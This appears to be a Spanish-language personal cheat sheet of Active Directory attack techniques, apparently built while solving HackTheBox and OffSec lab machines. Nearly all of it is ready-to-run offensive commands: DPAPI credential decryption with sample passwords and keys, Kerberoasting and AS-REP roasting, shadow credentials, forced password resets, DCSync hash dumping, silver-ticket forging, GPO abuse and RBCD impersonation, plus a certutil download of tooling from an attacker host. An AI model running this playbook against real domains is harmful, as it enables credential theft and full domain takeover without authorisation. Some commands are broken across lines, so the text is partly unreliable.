Directorio Activo
Con que tengamos acceso remoto al DC con un usuario, ya podemos tener shell en el resto de usuarios con runas
Set-Execution Policy Bypass -Scope Process
BloodHound
cd /BloodHound
docker compose up
||
sudo neo4j start
./BloodHound
SharpHound
Set-ExecutionPolicy Bypass -Scope Process -Force
upload /ruta .
Import-Module .\Sharp
sudo ntpdate -u IP-DC
bloodhound-python -d DOMAIN -ns IP -u USER -p PASS -c All --zip
sudo ntpdate -u IP-DC
bloodhound-python -d DOMAIN -dc DC.DOMAIN -ns IP -u 'USER' -p PASS -c All --zip
ns para resolver nombres
bloodhound-ce-python
bloodhound-ce-python -d DOMAIN -dc DC.DOMAIN -ns IP -u 'user' -p 'pass' -c All --zip
PowerView
Set-ExecutionPolicy Bypass -Scope Process -Force
upload /ruta .
. .\PowerView.ps1
certutil -urlcache -f http://IP:PORT/SharpHound.exe SharpHound.exe
Dumpear DPAPI creds
🔐 DPAPI almacena credenciales por usuario, pero también puede incluir credenciales de otros usuarios si se han utilizado en la sesión.
Por ejemplo:
- Si el usuario
steph.cooperusó credenciales desteph.cooper_admpara acceder a recursos de red, hacer RDP o ejecutar procesos como otro usuario (runas, etc.), esas credenciales pueden quedar almacenadas en su perfil local mediante el Credential Manager.
📦 ¿Qué son los credential blobs?
Los archivos que estás dumpeando (credential.blob) provienen del almacenamiento de credenciales del usuario actual, que se encuentra en:
%APPDATA%\Microsoft\Credentials\
Ese directorio contiene archivos que pueden incluir:
-
Contraseñas usadas para acceder a recursos SMB
-
Tickets de RDP
-
Credenciales de RunAs
-
Otras entradas de red
Incluso si pertenecen a otro usuario, si fueron usadas por steph.cooper, quedan en su perfil.
📁 Ejemplo típico
Usuario steph.cooper hace esto:
runas /user:steph.cooper_adm cmd.exe
O usa RDP con steph.cooper_adm. Entonces, Windows guarda esas credenciales en el perfil de steph.cooper, en Microsoft\Credentials, cifradas con la masterkey de steph.cooper.
Tú las extraes y las descifras con la clave de steph.cooper, y obtienes... la contraseña de steph.cooper_adm.
Procedimiento :
python3.11 -m venv donpapi-env
source donpapi-env/bin/activate
pip install donpapi
sudo ntpdate dc.puppy.htb
donpapi collect -u admin -p 'Password123!' -d domain.local -t ALL --fetch-pvk
donpapi collect -u USER -p 'PASS' --dc-ip IP --domain DOMAIN -t ALL -k
nxc smb IP -u DOMAIN\USER -p S --dpapi nosystem -k -d DOMAIN
Si lo dearriba no tiene nada / no funca :
cd C:\users\USER\appdata\roaming\microsoft\credentials
download C4BB96844A5C9DD45D5B6A9859252BA6
cd C:\Users\USER\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115
download
python3 dpapi.py masterkey -file 99cf41a3-a552-4cf7-a8d7-aca2d6f7339b -sid S-1-5-21-4024337825-2033394866-2055507597-1115 -password PASS
python3 dpapi.py credential -file C4BB96844A5C9DD45D5B6A9859252BA6 -key 0xf8901b2125dd10209da9f66562df2e68e89a48cd0278b48a37f510df01418e68b283c61707f3935662443d81c0d352f1bc8055523bf65b2d763191ecd44e525a
||
$path = "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407"
[Convert]::ToBase64StringReadAllBytes($path) | Out-File -Encoding ASCII 'C:\Users\steph.cooper\AppData\Local\Temp\out.txt'
download 'C:\Users\steph.cooper\AppData\Local\Temp\out.txt'
base64 -d out.txt > masterkey.blob
impacket-dpapi masterkey -file masterkey.blob -password 'ChefSteph2025!' -sid S-1-5-21-1487982659-1829050783-2281216199-1107
$path = "C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9"
[Convert]::ToBase64StringReadAllBytes($path) | Out-File -Encoding ASCII 'C:\Users\steph.cooper\AppData\Local\Temp\out.txt'
download 'C:\Users\steph.cooper\AppData\Local\Temp\out.txt'
base64 -d out.txt > credential.blob
impacket-dpapi credential -file credential.blob -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Para obtener la contraseña de una cuenta de tipo GMSA usando autenticación por kerberos
python3.12 -m venv bloodyenv
source bloodyenv/bin/activate
pip install bloodyAD
bloodyAD --host DC.DOMAIN -d "DOMAIN" --dc-ip IP -k get object 'GMSA01$' --attr msDS-ManagedPassword
Para añadir un usuario a un grupo usando autenticación por kerberos
python3.12 -m venv bloodyenv
source bloodyenv/bin/activate
pip install bloodyAD
bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip 10.10.11.45 -k add groupMember "SERVICEMANAGERS" "P.Rosa"
WriteOwner
Si tienes permiso WriteOwner, puedes cambiar el propietario del objeto sobre el que tienes WriteOwner a ti mismo, para así luego ponerle GenericAll por ejemplo.
bloodyAD --host $dc -d $domain -u $username -p $password set owner $ObjetoACambiarPropietario $NuevoPropietario
bloodyAD --host $dc -d $domain -u $username -p $password add genericAll $DNdelObjetoSobreElQueQueremosTenerGenericAll $userAtacante
DCsync
-
Simulación de replicación: Un atacante con los permisos adecuados en un controlador de dominio (usualmente, un Administrador de dominio o Administrador de Enterprise) puede usar herramientas como Mimikatz para simular el proceso de replicación de un controlador de dominio.
-
Extracción de contraseñas: Al realizar una replicación del dominio, el atacante puede solicitar contraseñas de cuentas, hashes de contraseñas y otros atributos de las cuentas de usuario (como las contraseñas almacenadas en el atributo
msDS-ReplicatorPasswords). -
Uso de herramientas: Mimikatz es una de las herramientas más utilizadas para ejecutar un ataque DCsync. Al emplear la funcionalidad de
lsadump::dcsyncen Mimikatz, el atacante puede recuperar las contraseñas de los usuarios de la base de datos de Active Directory, incluida la cuenta de Administrator o cuentas con privilegios elevados.
Generic All
-
Nos da control total sobre un usuario
-
Por tener GenericAll sobre un grupo no tenemos GenericAll sobre los integrantes
Para cambiar su contraseña:
net user michael michael /domain
Kerberoast (PRIMERA FORMA)
Set-ADUser -Identity VICTIM -Add @{servicePrincipalName="foobar/xd"}
$SecPassword = ConvertTo-SecureString '
PASS FROM USER WITH GENERICWRITE' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('DOMAIN\USER FROM USER WITH GENERICWRITE', $SecPassword)
Get-DomainSPNTicket -SPN "foobar/xd" -C
redential $Cred
AS-REPRoast (SEGUNDA FORMA)
python3.12 -m venv bloodyenv
source bloodyenv/bin/activate
pip install bloodyAD
bloodyAD --host DC.DOMAIN -d "DOMAIN" --dc-ip IP -k add uac USERNAME -f DONT_REQ_PREAUTH #Habilitamos DONT REQ PREAUTH
bloodyAD --host DC.DOMAIN -d "DOMAIN" --dc-ip IP -k remove uac SVC_ARK -f ACCOUNTDISABLE #Nos aseguramos de que no están inactivas
impacket-GetNPUsers DOMAIN/ -no-pass -usersfile validUsers.txt
Podemos añadir al usuario P.AGILA SERVICE ACCOUNTS
python3.12 -m venv bloodyenv
source bloodyenv/bin/activate
pip install bloodyAD
bloodyAD --host IP -d DC.DOMAIN -u USER -p PASS add groupMember 'SERVICE ACCOUNTS' USER
ForceChangePassword
Crackear hash
git clone https://github.com/ShutdownRepo/targetedKerberoast.git
sudo ntpdate -u IP-DC
python3 targetedKerberoast.py -v -d $domain -u $user -p $pass --request-user michael -o michael.kerb
Cambias pass
rpcclient -U USER IP
rpcclient -U 'DOMAIN\USER%HASH' --pw-nt-hash IP
setuserinfo2 USER 23 'PASS'
net rpc password "USER" -U "DOMAIN"/USER%PASS -S "IP"
bloodyAD --host $dc -d $domain -u $username -p $password set password $target_username $new_password
WriteSPN
git clone https://github.com/ShutdownRepo/targetedKerberoast.git
sudo ntpdate -u IP-DC
python3 targetedKerberoast.py -v -d $domain -u $user -p $pass --request-user michael -o michael.kerb
Con kerberos:
kinit user@domain
python3 targetedKerberoast.py -v -d DOMAIN --dc-ip IP --dc-host DC.DOMAIN -u 'USER' --request-user VICTIM -o VICTIM.kerb -k --no-pass
GenericWrite
- Vamos a hacerle kerberoast:
Set-ADUser -Identity VICTIM -Add @{servicePrincipalName="foobar/xd"}
$SecPassword = ConvertTo-SecureString '
PASS FROM USER WITH GENERICWRITE' -AsPlainText -Force
$Cred = New-Object System.Management.Au
tomation.PSCredential('DOMAIN\USER FROM USER WITH GENERICWRITE', $SecPassword)
Get-DomainSPNTicket -SPN "foobar/xd" -Credential $Cred
O así
git clone https://github.com/ShutdownRepo/targetedKerberoast.git
sudo ntpdate -u IP-DC
python3 targetedKerberoast.py -v -d $domain -u $user -p $pass --request-user michael -o michael.kerb
o así:
bloodyAD --dc-ip IP -d DOMAIN --host DC.DOMAIN -u 'USER' -p 'PASS' set object 'USER TO KERBEROAST' servicePrincipalName -v 'domain/meow' -k
- Añadirnos a un grupo sobre el que tenemos Generic Write
python3.12 -m venv bloodyenv
source bloodyenv/bin/activate
pip install bloodyAD
bloodyAD --host IP -d DC.DOMAIN -u USER -p PASS add groupMember 'SERVICE ACCOUNTS' USER
bloodyAD --dc-ip IP -d DOMAIN_REALM --host DC.DOMAIN -u 'USER' -p 'PASS' -k add groupMember 'GROUP' 'USER'
- Credenciales en la sombra
Las credenciales en la sombra son una técnica de persistencia y escalada de privilegios en Active Directory que consiste en inyectar un certificado tuyo en una cuenta de AD (como winrm_svc), usando el atributo:
msDS-KeyCredentialLink
Una vez inyectado, puedes autenticarse como esa cuenta usando Kerberos/PKINIT, sin necesidad de su contraseña o hash.
sudo ntpdate -u IP-DC
certipy shadow auto -u 'USER@DOMAIN' -p 'PASS' -account 'victim on which the user has Generic Write' -dc-ip DC IP
Con kerberos:
sudo ntpdate -u IP-DC
bloodyAD --host DC.DOMAIN -d DOMAIN -u USER -k add shadowCredentials 'victim on which the user has Generic Write'
python3 PKINITtools/gettgtpkinit.py -cert-pem cert.pem -key-pem priv.pem domain/user user.ccache
AddMember
Da opción de añadir miembros a un grupo como de quitar miembros.
bloodyAD --dc-ip IP -d DOMAIN_REALM --host DC.DOMAIN -u 'USER' -p 'PASS' -k add groupMember 'GROUP' 'USER'
bloodyAD --dc-ip IP -d DOMAIN_REALM --host DC.DOMAIN -u 'USER' -p 'PASS' -k remove groupMember 'GROUP' 'USER'
ReadGMSAPassword
ReadGMSAPassword es una función de Windows (más específicamente de Active Directory) que se refiere a la capacidad de leer la contraseña de una cuenta de servicio administrada de grupo, conocida como gMSA (Group Managed Service Account).
🔐 ¿Qué es una gMSA?
Una gMSA (Group Managed Service Account) es un tipo especial de cuenta en Active Directory que:
-
Es administrada automáticamente por el dominio (incluye rotación automática de contraseñas).
-
Está diseñada para servicios o aplicaciones que corren en múltiples servidores.
-
Su contraseña es conocida solo por el sistema, y normalmente no accesible para los humanos.
📥 ¿Qué hace ReadGMSAPassword?
La permisión ReadGMSAPassword determina qué equipos o usuarios tienen permitido leer (recuperar) la contraseña cifrada de una cuenta gMSA desde el Controlador de Dominio (DC).
Un equipo o servicio que tiene esta capacidad puede:
-
Solicitar la contraseña de la gMSA al DC.
-
Utilizar esa contraseña para autenticarse como la gMSA.
bloodyAD --host $dc -d $domain -u $username -p $password get object $target_username --attr msDS-ManagedPassword
ReadLAPSPassword
nxc ldap 192.168.247.122 -u 'fmcsorley' -p 'CrabSharkJellyfish192' -d 'hutch.offsec' -M laps
DCSync
impacket-secretsdump DOMAIN/USER:PASS@IP
evil-winrm -i IP -u USER -H "SEGUNDA PARTE HASH (NTLM)"
Kerberos
impacket-secretsdump DOMAIN/'USER'@DC.DOMAIN -k -no-pass -dc-ip IP
Buscar objetos borrados 🗑️
Y posteriormente restablecerlos, quizás sea necesario habilitarlos
Get-ADObject -IncludeDeletedObjects -Filter 'ObjectClass -like "user"' -Properties *
Restore-ADObject -Identity "938182c3-bf0b-410a-9aaa-45c8e1a02ebf"
bloodyAD --host DC.DOMAIN -d DOMAIN -u USER -p 'PASS' remove uac 'TARGET USER' -f ACCOUNTDISABLE
rpcclient -U 'USER%PASS' IP -c 'setuserinfo2 TARGETUSER 23 'PASS'
Rebuscar en la papelera de reciclaje local 🗑️
$shell = New-Object -ComObject Shell.Application
$recycleBin = $shell.Namespace(0xA)
$recycleBin.items() | Select-Object Name, Path
Restore deleted file
$recycleBin = (New-Object -ComObject Shell.Application).NameSpace(0xA)
$items = $recycleBin.Items()
$item = $items | Where-Object {$_.Name -eq "wapt-backup-sunday.7z"}
$documentsPath = [Environment]::GetFolderPath("Desktop")
$documents = (New-Object -ComObject Shell.Application).NameSpace($documentsPath)
$documents.MoveHere($item)
Silver Ticket Attack 🎟️
If you compromise an account's password with a SPN you can use that password to create a Silver Ticket impersonating any user to that service.
Delegation vs Direct Access: Directly connecting to the MSSQL service using a password relies on the permissions assigned to the **svc_mssql** account within SQL Server. This includes permissions defined in roles, explicit grants, or denies, etc. The MSSQL service checks the account's permissions within the context of SQL Server.
Silver Ticket and Service Account: Crafting a silver ticket means you're effectively impersonating the **svc_mssql** service account at the Kerberos authentication level. In the context of MSSQL, this account might have been configured (often mistakenly) with higher or sysadmin privileges, especially if it's the account used to run the SQL Server service. This can often be the case
Procedimiento
- Para obtener el nthash en base a la contraseña:
- Para obtener el SPN:
impacket-GetUserSPNs DOMAIN/USER:PASS -request
Get-ADUser -Filter {SamAccountName -eq "SVC_ACCOUNT"} -Properties ServicePrincipalNames
- Para obtener el SID
impacket-lookupsid USER@DOAMIN -target-ip IP -domain-sids
/etc/krb5.conf
[libdefaults]
default_realm = NAGOYA-INDUSTRIES.COM
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
rdns = false
dns_canonicalize_hostname = false
fcc-mit-ticketflags = true
[realms]
NAGOYA-INDUSTRIES.COM = {
kdc = nagoya.nagoya-industries.com
}
[domain_realm]
.nagoya-industries.com = NAGOYA-INDUSTRIES.COM
impacket-ticketer -nthash NTHASH -domain-sid SID -domain DOMAIN -spn MSSQL/DC.DOMAIN -user-id 500 Administrator
export KRB5CCNAME=Administrator.ccache
Por eiemplo
impacket-mssqlclient -k DC.DOMAIN
-
Qué hace un silver ticket
-
Cuando forjas un silver ticket estás creando un TGS (Ticket-Granting Service) para un SPN concreto (p. ej.
MSSQL/nagoya...). -
Ese TGS se cifra con la clave de la cuenta de servicio asociada al SPN (es decir, el NT hash de la cuenta bajo la que corre MSSQL o la cuenta mapeada al SPN).
-
Por tanto, el receptor lógico del ticket —el servicio que tiene la clave— puede descifrarlo y verificar su integridad.
-
-
Quién valida el ticket al llegar
-
El servidor de aplicación (o su proceso de autenticación —ej. LSASS en Windows/SQL Server) recibe el ticket y lo descifra con la clave del service account.
-
Si el descifrado es correcto y las comprobaciones locales que haga el servicio pasan, el servicio te “acepta” como la identidad que figura en el ticket.
-
No hace falta que el KDC (
krbtgt) haya emitido ese ticket porque el servicio sólo necesita poder descifrar/verificarlo con su propia clave.
-
-
Entonces… ¿qué papel tiene
krbtgtnormalmente?-
En un flujo Kerberos legítimo, el KDC (mediante la clave
krbtgt) firma/autoriza el PAC y emite tickets. Esa firma permite a servicios confiar en las memberships/atributos dentro del PAC. -
Al forjar un silver ticket se salta la emisión por el KDC; por eso la firma del KDC sobre el PAC no estará presente o no será válida. Algunos servicios comprueban esa firma; otros no.
-
-
Por qué algunos servicios aceptan el ticket aun sin krbtgt
-
Muchos servicios / configuraciones sólo requieren que el ticket se descifre correctamente con la clave del SPN y no validan la firma del PAC contra el KDC. En esos casos aceptan los SIDs/memberships que trae el ticket.
-
Otros servicios (o configuraciones más estrictas) sí verifican la validez del PAC o consultan al DC para confirmar atributos; en esos casos el silver ticket puede fallar o comportarse de forma limitada.
-
-
Resumen en una línea
- No te estás “autenticando contra
krbtgtporque no necesitas que el KDC te entregue el ticket: te estás autenticando contra el servicio objetivo (la cuenta/SPN) que posee la clave usada para cifrar y descifrar ese ticket.**
- No te estás “autenticando contra
Default Domain Policy - Generic Write
SharpGPOAbuse/SharpGPOAbuse-master at main · byronkg/SharpGPOAbuse · GitHub
.\SharpGPOAbuse.exe --AddLocalAdmin --GPOName "Default Domain Policy" --UserAccount USERNAME
gpupdate /force
whoami
Unconstrained Delegation
Imagina un escenario común de 3 niveles:
- Usuario: Un empleado.
- Servicio Front-end: Un servidor web (Ej: IIS).
- Servicio Back-end: Un servidor de base de datos (Ej: SQL Server).
El usuario accede al servidor web. El servidor web necesita consultar la base de datos en nombre del usuario (para aplicar sus permisos).
Con la Delegación No Restringida, se marcaba la cuenta del servidor web como "Confiable para delegación" (Trusted for Delegation) en AD.
- El Riesgo 🚨: Si un atacante comprometía el servidor web (Front-end), obtenía un poder inmenso. Podía suplantar a cualquier usuario (incluido un Administrador de Dominio que hubiera iniciado sesión en el servidor web) y usar esa identidad para acceder a cualquier otro servicio en el dominio (controladores de dominio, servidores de archivos, etc.). Era un "cheque en blanco".
Constrained Delegation
Se especifica una lista blanca de servicios a los que puede acceder el Front-end (solo al servicio de bases de datos)
Kerberos Constrained Delegation (KCD) Tradicional
Se edita el atributo msDS-AllowedToDelegateTo del Front-end con una lista de SPNs a los que permite acceder
Resource-Based Constrained Delegation (RBCD)
Se editaría el atributo msDS-AllowedToActOnBehalfOfOtherIdentity en el backend esta vez. Esto lista las cuentas de servicio o máquinas que tienen permiso para delegar hacia el backend.
El dueño del backend decide que frontends pueden suplantar usuarios para acceder a su backend.
Sobre el ordenador sobre el que podemos modificar msDS-AllowedToActOnBehalfOfOtherIdentity
Set-ADComputer 'DC$' -PrincipalsAllowedToDelegateToAccount 'COMPUTER$' #Assing delegation privileges
"Soy COMPUTER$, y quiero que me des un ticket de servicio como si yo fuera el usuario backupadmin":
impacket-getST -spn 'cifs/DC.DOMAIN' -impersonate backupadmin -dc-ip IP -k 'DOMAIN/COMPUTER$:Password'